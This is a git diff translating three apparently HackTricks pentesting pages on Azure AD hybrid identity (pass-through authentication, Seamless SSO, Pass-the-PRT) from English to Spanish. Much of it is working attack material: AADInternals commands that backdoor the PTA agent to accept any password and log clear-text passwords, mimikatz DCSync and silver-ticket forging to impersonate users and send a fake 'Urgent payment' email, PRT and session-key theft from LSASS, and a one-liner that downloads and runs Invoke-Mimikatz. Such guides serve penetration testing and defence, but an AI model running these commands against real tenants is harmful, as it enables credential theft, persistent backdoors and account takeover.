-1. To **login** the user is redirected to **Azure AD**, where he sends the **username** and **password** -2. The **credentials** are **encrypted** and set in a **queue** in Azure AD -3. The **on-prem authentication agent** gathers the **credentials** from the queue and **decrypts** them. This agent is called **"Pass-through authentication agent"** or **PTA agent.** -4. The **agent** **validates** the creds against the **on-prem AD** and sends the **response** **back** to Azure AD which, if the response is positive, **completes the login** of the user. +1. Para **iniciar sesión**, el usuario es redirigido a **Azure AD**, donde envía el **nombre de usuario** y la **contraseña**. +2. Las **credenciales** son **encriptadas** y se colocan en una **cola** en Azure AD. +3. El **agente de autenticación local** recoge las **credenciales** de la cola y las **desencripta**. Este agente se llama **"agente de autenticación passthrough"** o **agente PTA**. +4. El **agente** **valida** las credenciales contra el **AD local** y envía la **respuesta** **de vuelta** a Azure AD, que, si la respuesta es positiva, **completa el inicio de sesión** del usuario. > [!WARNING] -> If an attacker **compromises** the **PTA** he can **see** the all **credentials** from the queue (in **clear-text**).\ -> He can also **validate any credentials** to the AzureAD (similar attack to Skeleton key). +> Si un atacante **compromete** el **PTA**, puede **ver** todas las **credenciales** de la cola (en **texto claro**).\ +> También puede **validar cualquier credencial** en AzureAD (ataque similar a la llave maestra). -### On-Prem -> cloud - -If you have **admin** access to the **Azure AD Connect server** with the **PTA** **agent** running, you can use the **AADInternals** module to **insert a backdoor** that will **validate ALL the passwords** introduced (so all passwords will be valid for authentication): +### Local -> nube +Si tiene acceso **administrativo** al **servidor Azure AD Connect** con el **agente PTA** en ejecución, puede usar el módulo **AADInternals** para **insertar una puerta trasera** que **validará TODAS las contraseñas** introducidas (por lo que todas las contraseñas serán válidas para la autenticación): ```powershell Install-AADIntPTASpy ``` - > [!NOTE] -> If the **installation fails**, this is probably due to missing [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). - -It's also possible to **see the clear-text passwords sent to PTA agent** using the following cmdlet on the machine where the previous backdoor was installed: +> Si la **instalación falla**, esto se debe probablemente a la falta de [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +También es posible **ver las contraseñas en texto claro enviadas al agente PTA** utilizando el siguiente cmdlet en la máquina donde se instaló la puerta trasera anterior: ```powershell Get-AADIntPTASpyLog -DecodePasswords ``` - This backdoor will: -- Create a hidden folder `C:\PTASpy` -- Copy a `PTASpy.dll` to `C:\PTASpy` -- Injects `PTASpy.dll` to `AzureADConnectAuthenticationAgentService` process +- Crear una carpeta oculta `C:\PTASpy` +- Copiar un `PTASpy.dll` a `C:\PTASpy` +- Inyectar `PTASpy.dll` al proceso `AzureADConnectAuthenticationAgentService` > [!NOTE] -> When the AzureADConnectAuthenticationAgent service is restarted, PTASpy is “unloaded” and must be re-installed. +> Cuando el servicio AzureADConnectAuthenticationAgent se reinicia, PTASpy se “descarga” y debe ser reinstalado. ### Cloud -> On-Prem > [!CAUTION] -> After getting **GA privileges** on the cloud, it's possible to **register a new PTA agent** by setting it on an **attacker controlled machine**. Once the agent is **setup**, we can **repeat** the **previous** steps to **authenticate using any password** and also, **get the passwords in clear-text.** +> Después de obtener **privilegios GA** en la nube, es posible **registrar un nuevo agente PTA** configurándolo en una **máquina controlada por el atacante**. Una vez que el agente está **configurado**, podemos **repetir** los **pasos anteriores** para **autenticar usando cualquier contraseña** y también, **obtener las contraseñas en texto claro.** ### Seamless SSO -It's possible to use Seamless SSO with PTA, which is vulnerable to other abuses. Check it in: +Es posible usar Seamless SSO con PTA, que es vulnerable a otros abusos. Revísalo en: {{#ref}} seamless-sso.md @@ -68,7 +64,3 @@ seamless-sso.md - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md index 289951b91..fb0b0a339 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md @@ -1,31 +1,30 @@ -# Az - Seamless SSO +# Az - SSO Sin Interrupciones {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) automatically **signs users in when they are on their corporate devices** connected to your corporate network. When enabled, **users don't need to type in their passwords to sign in to Azure AD**, and usually, even type in their usernames. This feature provides your users easy access to your cloud-based applications without needing any additional on-premises components. +[De la documentación:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso) Azure Active Directory SSO Sin Interrupciones (Azure AD Seamless SSO) **inicia sesión automáticamente a los usuarios cuando están en sus dispositivos corporativos** conectados a su red corporativa. Cuando está habilitado, **los usuarios no necesitan escribir sus contraseñas para iniciar sesión en Azure AD**, y generalmente, ni siquiera escribir sus nombres de usuario. Esta función proporciona a sus usuarios un acceso fácil a sus aplicaciones basadas en la nube sin necesidad de componentes adicionales en las instalaciones.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

-Basically Azure AD Seamless SSO **signs users** in when they are **on a on-prem domain joined PC**. +Básicamente, Azure AD SSO Sin Interrupciones **inicia sesión a los usuarios** cuando están **en un PC unido a un dominio local**. -It's supported by both [**PHS (Password Hash Sync)**](phs-password-hash-sync.md) and [**PTA (Pass-through Authentication)**](pta-pass-through-authentication.md). +Es compatible tanto con [**PHS (Sincronización de Hash de Contraseña)**](phs-password-hash-sync.md) como con [**PTA (Autenticación Passthrough)**](pta-pass-through-authentication.md). -Desktop SSO is using **Kerberos** for authentication. When configured, Azure AD Connect creates a **computer account called AZUREADSSOACC`$`** in on-prem AD. The password of the `AZUREADSSOACC$` account is **sent as plain-text to Azure AD** during the configuration. +El SSO de escritorio utiliza **Kerberos** para la autenticación. Cuando se configura, Azure AD Connect crea una **cuenta de computadora llamada AZUREADSSOACC`$`** en el AD local. La contraseña de la cuenta `AZUREADSSOACC$` es **enviada en texto plano a Azure AD** durante la configuración. -The **Kerberos tickets** are **encrypted** using the **NTHash (MD4)** of the password and Azure AD is using the sent password to decrypt the tickets. +Los **tickets de Kerberos** están **encriptados** utilizando el **NTHash (MD4)** de la contraseña y Azure AD utiliza la contraseña enviada para desencriptar los tickets. -**Azure AD** exposes an **endpoint** (https://autologon.microsoftazuread-sso.com) that accepts Kerberos **tickets**. Domain-joined machine's browser forwards the tickets to this endpoint for SSO. +**Azure AD** expone un **endpoint** (https://autologon.microsoftazuread-sso.com) que acepta **tickets** de Kerberos. El navegador de la máquina unida al dominio reenvía los tickets a este endpoint para SSO. -### On-prem -> cloud - -The **password** of the user **`AZUREADSSOACC$` never changes**. Therefore, a domain admin could compromise the **hash of this account**, and then use it to **create silver tickets** to connect to Azure with **any on-prem user synced**: +### Local -> nube +La **contraseña** del usuario **`AZUREADSSOACC$` nunca cambia**. Por lo tanto, un administrador de dominio podría comprometer el **hash de esta cuenta**, y luego usarlo para **crear tickets de plata** para conectarse a Azure con **cualquier usuario local sincronizado**: ```powershell # Dump hash using mimikatz Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"' - mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit +mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit # Dump hash using https://github.com/MichaelGrafnetter/DSInternals Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local @@ -39,9 +38,7 @@ Import-Module DSInternals $key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM' (Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos ``` - -With the hash you can now **generate silver tickets**: - +Con el hash ahora puedes **generar tickets plateados**: ```powershell # Get users and SIDs Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier @@ -56,66 +53,57 @@ $at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com ## Send email Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "

Urgent!


The following bill should be paid asap." ``` +Para utilizar el ticket plateado, se deben ejecutar los siguientes pasos: -To utilize the silver ticket, the following steps should be executed: - -1. **Initiate the Browser:** Mozilla Firefox should be launched. -2. **Configure the Browser:** - - Navigate to **`about:config`**. - - Set the preference for [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) to the specified [values](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically): - - `https://aadg.windows.net.nsatc.net` - - `https://autologon.microsoftazuread-sso.com` -3. **Access the Web Application:** - - Visit a web application that is integrated with the organization's AAD domain. A common example is [Office 365](https://portal.office.com/). -4. **Authentication Process:** - - At the logon screen, the username should be entered, leaving the password field blank. - - To proceed, press either TAB or ENTER. +1. **Iniciar el Navegador:** Se debe lanzar Mozilla Firefox. +2. **Configurar el Navegador:** +- Navegar a **`about:config`**. +- Establecer la preferencia para [network.negotiate-auth.trusted-uris](https://github.com/mozilla/policy-templates/blob/master/README.md#authentication) a los [valores](https://docs.microsoft.com/en-us/azure/active-directory/connect/active-directory-aadconnect-sso#ensuring-clients-sign-in-automatically) especificados: +- `https://aadg.windows.net.nsatc.net` +- `https://autologon.microsoftazuread-sso.com` +3. **Acceder a la Aplicación Web:** +- Visitar una aplicación web que esté integrada con el dominio AAD de la organización. Un ejemplo común es [Office 365](https://portal.office.com/). +4. **Proceso de Autenticación:** +- En la pantalla de inicio de sesión, se debe ingresar el nombre de usuario, dejando el campo de contraseña en blanco. +- Para continuar, presionar TAB o ENTER. > [!TIP] -> This doesn't bypass MFA if enabled +> Esto no elude MFA si está habilitado -#### Option 2 without dcsync - SeamlessPass +#### Opción 2 sin dcsync - SeamlessPass -It's also possible to perform this attack **without a dcsync attack** to be more stealth as [explained in this blog post](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). For that you only need one of the following: +También es posible realizar este ataque **sin un ataque dcsync** para ser más sigiloso, como [se explica en esta publicación de blog](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). Para eso solo necesitas uno de los siguientes: -- **A compromised user's TGT:** Even if you don't have one but the user was compromised,you can get one using fake TGT delegation trick implemented in many tools such as [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) and [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). -- **Golden Ticket**: If you have the KRBTGT key, you can create the TGT you need for the attacked user. -- **A compromised user’s NTLM hash or AES key:** SeamlessPass will communicate with the domain controller with this information to generate the TGT -- **AZUREADSSOACC$ account NTLM hash or AES key:** With this info and the user’s Security Identifier (SID) to attack it's possible to create a service ticket an authenticate with the cloud (as performed in the previous method). - -Finally, with the TGT it's possible to use the tool [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) with: +- **Un TGT de usuario comprometido:** Incluso si no tienes uno pero el usuario fue comprometido, puedes obtener uno utilizando el truco de delegación de TGT falso implementado en muchas herramientas como [Kekeo](https://x.com/gentilkiwi/status/998219775485661184) y [Rubeus](https://posts.specterops.io/rubeus-now-with-more-kekeo-6f57d91079b9). +- **Golden Ticket**: Si tienes la clave KRBTGT, puedes crear el TGT que necesitas para el usuario atacado. +- **El hash NTLM o la clave AES de un usuario comprometido:** SeamlessPass se comunicará con el controlador de dominio con esta información para generar el TGT. +- **Hash NTLM o clave AES de la cuenta AZUREADSSOACC$:** Con esta información y el Identificador de Seguridad (SID) del usuario a atacar, es posible crear un ticket de servicio y autenticarte con la nube (como se realizó en el método anterior). +Finalmente, con el TGT es posible utilizar la herramienta [**SeamlessPass**](https://github.com/Malcrove/SeamlessPass) con: ``` seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt ``` +Más información para configurar Firefox para trabajar con SSO sin problemas se puede [**encontrar en esta publicación de blog**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). -Further information to set Firefox to work with seamless SSO can be [**found in this blog post**](https://malcrove.com/seamlesspass-leveraging-kerberos-tickets-to-access-the-cloud/). +#### ~~Creando tickets de Kerberos para usuarios solo en la nube~~ -#### ~~Creating Kerberos tickets for cloud-only users~~ - -If the Active Directory administrators have access to Azure AD Connect, they can **set SID for any cloud-user**. This way Kerberos **tickets** can be **created also for cloud-only users**. The only requirement is that the SID is a proper [SID](). +Si los administradores de Active Directory tienen acceso a Azure AD Connect, pueden **configurar SID para cualquier usuario en la nube**. De esta manera, los **tickets** de Kerberos **también se pueden crear para usuarios solo en la nube**. El único requisito es que el SID sea un [SID](). > [!CAUTION] -> Changing SID of cloud-only admin users is now **blocked by Microsoft**.\ -> For info check [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) +> Cambiar el SID de los usuarios administradores solo en la nube ahora está **bloqueado por Microsoft**.\ +> Para más información, consulte [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -### On-prem -> Cloud via Resource Based Constrained Delegation - -Anyone that can manage computer accounts (`AZUREADSSOACC$`) in the container or OU this account is in, it can **configure a resource based constrained delegation over the account and access it**. +### On-prem -> Nube a través de Delegación Constrainada Basada en Recursos +Cualquiera que pueda gestionar cuentas de computadora (`AZUREADSSOACC$`) en el contenedor u OU en el que se encuentra esta cuenta, puede **configurar una delegación constrainada basada en recursos sobre la cuenta y acceder a ella**. ```python python rbdel.py -u \\ -p azureadssosvc$ ``` - -## References +## Referencias - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-sso) - [https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/](https://www.dsinternals.com/en/impersonating-office-365-users-mimikatz/) - [https://aadinternals.com/post/on-prem_admin/](https://aadinternals.com/post/on-prem_admin/) -- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) +- [TR19: Estoy en tu nube, leyendo los correos electrónicos de todos - hackeando Azure AD a través de Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md index b09d8a841..016ac971f 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md @@ -2,77 +2,72 @@ {{#include ../../../banners/hacktricks-training.md}} -## What is a PRT +## ¿Qué es un PRT? {{#ref}} az-primary-refresh-token-prt.md {{#endref}} -### Check if you have a PRT - +### Verifica si tienes un PRT ``` Dsregcmd.exe /status ``` - -In the SSO State section, you should see the **`AzureAdPrt`** set to **YES**. +En la sección del Estado SSO, deberías ver el **`AzureAdPrt`** configurado en **SÍ**.
-In the same output you can also see if the **device is joined to Azure** (in the field `AzureAdJoined`): +En la misma salida también puedes ver si el **dispositivo está unido a Azure** (en el campo `AzureAdJoined`):
-## PRT Cookie - -The PRT cookie is actually called **`x-ms-RefreshTokenCredential`** and it's a JSON Web Token (JWT). A JWT contains **3 parts**, the **header**, **payload** and **signature**, divided by a `.` and all url-safe base64 encoded. A typical PRT cookie contains the following header and body: +## Cookie PRT +La cookie PRT se llama en realidad **`x-ms-RefreshTokenCredential`** y es un JSON Web Token (JWT). Un JWT contiene **3 partes**, el **encabezado**, **carga útil** y **firma**, divididas por un `.` y todas codificadas en base64 seguras para URL. Una cookie PRT típica contiene el siguiente encabezado y cuerpo: ```json { - "alg": "HS256", - "ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" +"alg": "HS256", +"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" } { - "refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", - "is_primary": "true", - "request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" +"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", +"is_primary": "true", +"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" } ``` +El **Primary Refresh Token (PRT)** actual está encapsulado dentro del **`refresh_token`**, que está encriptado por una clave bajo el control de Azure AD, lo que hace que su contenido sea opaco e indecriptable para nosotros. El campo **`is_primary`** significa la encapsulación del token de actualización principal dentro de este token. Para asegurar que la cookie permanezca vinculada a la sesión de inicio de sesión específica para la que fue destinada, se transmite el `request_nonce` desde la página `logon.microsoftonline.com`. -The actual **Primary Refresh Token (PRT)** is encapsulated within the **`refresh_token`**, which is encrypted by a key under the control of Azure AD, rendering its contents opaque and undecryptable to us. The field **`is_primary`** signifies the encapsulation of the primary refresh token within this token. To ensure that the cookie remains bound to the specific login session it was intended for, the `request_nonce` is transmitted from the `logon.microsoftonline.com` page. +### Flujo de la cookie PRT usando TPM -### PRT Cookie flow using TPM +El proceso **LSASS** enviará al TPM el **KDF context**, y el TPM usará la **session key** (recolectada cuando el dispositivo fue registrado en AzureAD y almacenada en el TPM) y el contexto anterior para **derivar** una **clave**, y esta **clave derivada** se usa para **firmar la cookie PRT (JWT).** -The **LSASS** process will send to the TPM the **KDF context**, and the TPM will used **session key** (gathered when the device was registered in AzureAD and stored in the TPM) and the previous context to **derivate** a **key,** and this **derived key** is used to **sign the PRT cookie (JWT).** +El **KDF context es** un nonce de AzureAD y el PRT creando un **JWT** mezclado con un **contexto** (bytes aleatorios). -The **KDF context is** a nonce from AzureAD and the PRT creating a **JWT** mixed with a **context** (random bytes). - -Therefore, even if the PRT cannot be extracted because it's located inside the TPM, it's possible to abuseLSASS to **request derived keys from new contexts and use the generated keys to sign Cookies**. +Por lo tanto, incluso si el PRT no puede ser extraído porque está ubicado dentro del TPM, es posible abusar de LSASS para **solicitar claves derivadas de nuevos contextos y usar las claves generadas para firmar Cookies**.
-## PRT Abuse Scenarios +## Escenarios de abuso de PRT -As a **regular user** it's possible to **request PRT usage** by asking LSASS for SSO data.\ -This can be done like **native apps** which request tokens from **Web Account Manager** (token broker). WAM pasess the request to **LSASS**, which asks for tokens using signed PRT assertion. Or it can be down with **browser based (web) flow**s where a **PRT cookie** is used as **header** to authenticate requests to Azure AS login pages. +Como **usuario regular** es posible **solicitar el uso de PRT** pidiendo a LSASS datos de SSO.\ +Esto se puede hacer como **aplicaciones nativas** que solicitan tokens del **Web Account Manager** (intermediario de tokens). WAM pasa la solicitud a **LSASS**, que pide tokens usando una afirmación de PRT firmada. O se puede hacer con flujos **basados en navegador (web)** donde se usa una **cookie PRT** como **encabezado** para autenticar solicitudes a las páginas de inicio de sesión de Azure AS. -As **SYSTEM** you could **steal the PRT if not protected** by TPM or **interact with PRT keys in LSASS** using crypto APIs. +Como **SYSTEM** podrías **robar el PRT si no está protegido** por TPM o **interactuar con las claves PRT en LSASS** usando APIs criptográficas. -## Pass-the-PRT Attack Examples +## Ejemplos de ataque Pass-the-PRT -### Attack - ROADtoken +### Ataque - ROADtoken -For more info about this way [**check this post**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken will run **`BrowserCore.exe`** from the right directory and use it to **obtain a PRT cookie**. This cookie can then be used with ROADtools to authenticate and **obtain a persistent refresh token**. - -To generate a valid PRT cookie the first thing you need is a nonce.\ -You can get this with: +Para más información sobre esta forma [**consulta esta publicación**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken ejecutará **`BrowserCore.exe`** desde el directorio correcto y lo usará para **obtener una cookie PRT**. Esta cookie puede ser utilizada con ROADtools para autenticar y **obtener un token de actualización persistente**. +Para generar una cookie PRT válida, lo primero que necesitas es un nonce.\ +Puedes obtener esto con: ```powershell $TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" $URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" $Params = @{ - "URI" = $URL - "Method" = "POST" +"URI" = $URL +"Method" = "POST" } $Body = @{ "grant_type" = "srv_challenge" @@ -81,27 +76,19 @@ $Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body $Result.Nonce AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` - -Or using [**roadrecon**](https://github.com/dirkjanm/ROADtools): - +O usando [**roadrecon**](https://github.com/dirkjanm/ROADtools): ```powershell roadrecon auth prt-init ``` - -Then you can use [**roadtoken**](https://github.com/dirkjanm/ROADtoken) to get a new PRT (run in the tool from a process of the user to attack): - +Entonces puedes usar [**roadtoken**](https://github.com/dirkjanm/ROADtoken) para obtener un nuevo PRT (ejecuta la herramienta desde un proceso del usuario a atacar): ```powershell .\ROADtoken.exe ``` - -As oneliner: - +Como una sola línea: ```powershell Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} ``` - -Then you can use the **generated cookie** to **generate tokens** to **login** using Azure AD **Graph** or Microsoft Graph: - +Luego puedes usar la **cookie generada** para **generar tokens** para **iniciar sesión** usando Azure AD **Graph** o Microsoft Graph: ```powershell # Generate roadrecon auth --prt-cookie @@ -109,13 +96,11 @@ roadrecon auth --prt-cookie # Connect Connect-AzureAD --AadAccessToken --AccountId ``` +### Ataque - Usando roadrecon -### Attack - Using roadrecon - -### Attack - Using AADInternals and a leaked PRT - -`Get-AADIntUserPRTToken` **gets user’s PRT token** from the Azure AD joined or Hybrid joined computer. Uses `BrowserCore.exe` to get the PRT token. +### Ataque - Usando AADInternals y un PRT filtrado +`Get-AADIntUserPRTToken` **obtiene el token PRT del usuario** de la computadora unida a Azure AD o unida de forma híbrida. Utiliza `BrowserCore.exe` para obtener el token PRT. ```powershell # Get the PRToken $prtToken = Get-AADIntUserPRTToken @@ -123,9 +108,7 @@ $prtToken = Get-AADIntUserPRTToken # Get an access token for AAD Graph API and save to cache Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken ``` - -Or if you have the values from Mimikatz you can also use AADInternals to generate a token: - +O si tienes los valores de Mimikatz, también puedes usar AADInternals para generar un token: ```powershell # Mimikat "PRT" value $MimikatzPRT="MC5BWU..." @@ -153,40 +136,36 @@ $AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken # Verify access and connect with Az. You can see account id in mimikatz prt output Connect-AzAccount -AccessToken $AT -TenantID -AccountId ``` - -Go to [https://login.microsoftonline.com](https://login.microsoftonline.com), clear all cookies for login.microsoftonline.com and enter a new cookie. - +Ve a [https://login.microsoftonline.com](https://login.microsoftonline.com), borra todas las cookies para login.microsoftonline.com e ingresa una nueva cookie. ``` Name: x-ms-RefreshTokenCredential Value: [Paste your output from above] Path: / HttpOnly: Set to True (checked) ``` - -Then go to [https://portal.azure.com](https://portal.azure.com) +Luego ve a [https://portal.azure.com](https://portal.azure.com) > [!CAUTION] -> The rest should be the defaults. Make sure you can refresh the page and the cookie doesn’t disappear, if it does, you may have made a mistake and have to go through the process again. If it doesn’t, you should be good. +> El resto debería ser los valores predeterminados. Asegúrate de que puedes actualizar la página y que la cookie no desaparezca, si lo hace, es posible que hayas cometido un error y debas pasar por el proceso nuevamente. Si no lo hace, deberías estar bien. -### Attack - Mimikatz +### Ataque - Mimikatz -#### Steps +#### Pasos -1. The **PRT (Primary Refresh Token) is extracted from LSASS** (Local Security Authority Subsystem Service) and stored for subsequent use. -2. The **Session Key is extracted next**. Given that this key is initially issued and then re-encrypted by the local device, it necessitates decryption using a DPAPI masterkey. Detailed information about DPAPI (Data Protection API) can be found in these resources: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) and for an understanding of its application, refer to [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Post decryption of the Session Key, the **derived key and context for the PRT are obtained**. These are crucial for the **creation of the PRT cookie**. Specifically, the derived key is employed for signing the JWT (JSON Web Token) that constitutes the cookie. A comprehensive explanation of this process has been provided by Dirk-jan, accessible [here](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). +1. El **PRT (Token de Actualización Primario) se extrae de LSASS** (Servicio de Subsistema de Autoridad de Seguridad Local) y se almacena para su uso posterior. +2. La **Clave de Sesión se extrae a continuación**. Dado que esta clave se emite inicialmente y luego se vuelve a cifrar por el dispositivo local, requiere descifrado utilizando una clave maestra de DPAPI. Información detallada sobre DPAPI (Interfaz de Programación de Aplicaciones de Protección de Datos) se puede encontrar en estos recursos: [HackTricks](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords) y para entender su aplicación, consulta [Ataque Pass-the-cookie](az-pass-the-cookie.md). +3. Después del descifrado de la Clave de Sesión, se obtienen la **clave derivada y el contexto para el PRT**. Estos son cruciales para la **creación de la cookie PRT**. Específicamente, la clave derivada se utiliza para firmar el JWT (Token Web JSON) que constituye la cookie. Una explicación completa de este proceso ha sido proporcionada por Dirk-jan, accesible [aquí](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). > [!CAUTION] -> Note that if the PRT is inside the TPM and not inside `lsass` **mimikatz won't be able to extract it**.\ -> However, it will be possible to g**et a key from a derive key from a context** from the TPM and use it to **sign a cookie (check option 3).** +> Ten en cuenta que si el PRT está dentro del TPM y no dentro de `lsass`, **mimikatz no podrá extraerlo**.\ +> Sin embargo, será posible **obtener una clave de una clave derivada de un contexto** del TPM y usarla para **firmar una cookie (ver opción 3).** -You can find an **in depth explanation of the performed process** to extract these details in here: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +Puedes encontrar una **explicación en profundidad del proceso realizado** para extraer estos detalles aquí: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) > [!WARNING] -> This won't exactly work post August 2021 fixes to get other users PRT tokens as only the user can get his PRT (a local admin cannot access other users PRTs), but can access his. - -You can use **mimikatz** to extract the PRT: +> Esto no funcionará exactamente después de las correcciones de agosto de 2021 para obtener los tokens PRT de otros usuarios, ya que solo el usuario puede obtener su PRT (un administrador local no puede acceder a los PRT de otros usuarios), pero puede acceder al suyo. +Puedes usar **mimikatz** para extraer el PRT: ```powershell mimikatz.exe Privilege::debug @@ -196,93 +175,76 @@ Sekurlsa::cloudap iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1") Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"' ``` - (Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)
-**Copy** the part labeled **Prt** and save it.\ -Extract also the session key (the **`KeyValue`** of the **`ProofOfPossesionKey`** field) which you can see highlighted below. This is encrypted and we will need to use our DPAPI masterkeys to decrypt it. +**Copia** la parte etiquetada como **Prt** y guárdala.\ +Extrae también la clave de sesión (el **`KeyValue`** del campo **`ProofOfPossesionKey`**) que puedes ver resaltada a continuación. Esto está cifrado y necesitaremos usar nuestras claves maestras de DPAPI para descifrarlo.
> [!NOTE] -> If you don’t see any PRT data it could be that you **don’t have any PRTs** because your device isn’t Azure AD joined or it could be you are **running an old version** of Windows 10. - -To **decrypt** the session key you need to **elevate** your privileges to **SYSTEM** to run under the computer context to be able to use the **DPAPI masterkey to decrypt it**. You can use the following commands to do so: +> Si no ves ningún dato de PRT, podría ser que **no tengas ningún PRT** porque tu dispositivo no está unido a Azure AD o podría ser que estás **ejecutando una versión antigua** de Windows 10. +Para **descifrar** la clave de sesión, necesitas **elevar** tus privilegios a **SYSTEM** para ejecutar bajo el contexto de la computadora y poder usar la **clave maestra de DPAPI para descifrarlo**. Puedes usar los siguientes comandos para hacerlo: ``` token::elevate dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect ``` -
